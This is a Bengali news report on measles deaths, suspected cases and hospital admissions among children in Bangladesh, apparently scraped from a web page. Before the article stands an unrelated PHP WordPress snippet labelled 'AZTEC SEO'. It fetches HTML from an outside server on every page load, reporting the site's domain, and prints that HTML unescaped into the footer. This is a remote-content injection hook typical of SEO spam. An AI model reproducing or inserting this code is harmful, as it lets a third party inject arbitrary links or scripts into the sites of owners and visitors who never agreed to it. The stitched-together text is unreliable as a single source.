/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99);
হাম ও হামের উপসর্গ নিয়ে গত ২৪ ঘণ্টায় দেশে আরও সাত শিশুর মৃত্যু হয়েছে। এর মধ্যে দুই শিশুর হামে মৃত্যুর বিষয়টি নিশ্চিত করেছে স্বাস্থ্য অধিদপ্তর। বাকি পাঁচ শিশু হামের উপসর্গ নিয়ে মারা গেছে।
এ সময় হামের উপসর্গ নিয়ে দেশের বিভিন্ন হাসপাতালে ভর্তি হয়েছে ৭২৯ শিশু। আর হাম শনাক্ত হয়েছে ৮২ জনের।
সোমবার (১৩ এপ্রিল) স্বাস্থ্য অধিদপ্তরের সর্বশেষ প্রতিবেদন থেকে এসব তথ্য জানা গেছে। এ হিসাব ১২ এপ্রিল সকাল ৮টা থেকে ১৩ এপ্রিল সকাল ৮টা পর্যন্ত।
গত ২৪ ঘণ্টায় হামে যে দুই শিশুর মৃত্যু হয়েছে তারা ঢাকা বিভাগের। আর হামের উপসর্গ নিয়ে মৃত্যু হওয়া পাঁচ শিশুর চারজন ঢাকা বিভাগের, একজন রাজশাহীর। এ সময়ে সর্বোচ্চ ৭৬ জনের হাম শনাক্ত হয়েছে ঢাকা বিভাগে। চারজনের হাম শনাক্ত হয়েছে রাজশাহী বিভাগে এবং চট্টগ্রামে শনাক্ত রোগীর সংখ্যা দুই। বাকি বিভাগগুলোতে কোনো শনাক্ত রোগী নেই।
স্বাস্থ্য অধিদপ্তর বলছে, শেষ ২৪ ঘণ্টায় সারা দেশে হামের উপসর্গ দেখা গেছে ১ হাজার ৩৭১ জনের মধ্যে। এর মধ্যে ৬১৫ জনই ঢাকা বিভাগের। একই সময়ে হামের উপসর্গ নিয়ে হাসপাতালে ভর্তি হয়েছে ৭২৯ জন, যার মধ্যে ২৭৪ জনই ঢাকা বিভাগে। সবচেয়ে কম রোগী ভর্তি হয়েছে রংপুর (১১) ও ময়মনসিংহে (১৭)।
হামের উপসর্গ নিয়ে ভর্তি হওয়া ৭১৩ জন গত ২৪ ঘণ্টায় হাসপাতাল থেকে ছাড়া পেয়েছে। এর মধ্যে ঢাকা বিভাগে সর্বোচ্চ ৩০৫ জন, রাজশাহী বিভাগে ১২ এবং চট্টগ্রাম ও খুলনা বিভাগে ১০৩ জন করে রোগী হাসপাতাল ছেড়েছে।
স্বাস্থ্য অধিদপ্তরের প্রতিবেদনে দেওয়া তথ্য অনুযায়ী, গত ১৫ মার্চ থেকে এখন পর্যন্ত হামে মোট ৩০ শিশুর মৃত্যু হয়েছে। এ সময় হামের উপসর্গ নিয়ে মৃত্যু হয়েছে ১৫৬ শিশুর। এ ছাড়া হামের উপসর্গ নিয়ে আসা ১৭ হাজার ২৪ জনের মধ্যে হাসপাতালে ভর্তি হয়েছে ১০ হাজার ৯৫৪ জন। তাদের মধ্যে ২ হাজার ৭২১ জনের হাম শনাক্ত হয়েছে। আর সুস্থ হয়ে হাসপাতাল থেকে বাসায় ফিরেছে ৮ হাজার ৩৬৯ জন।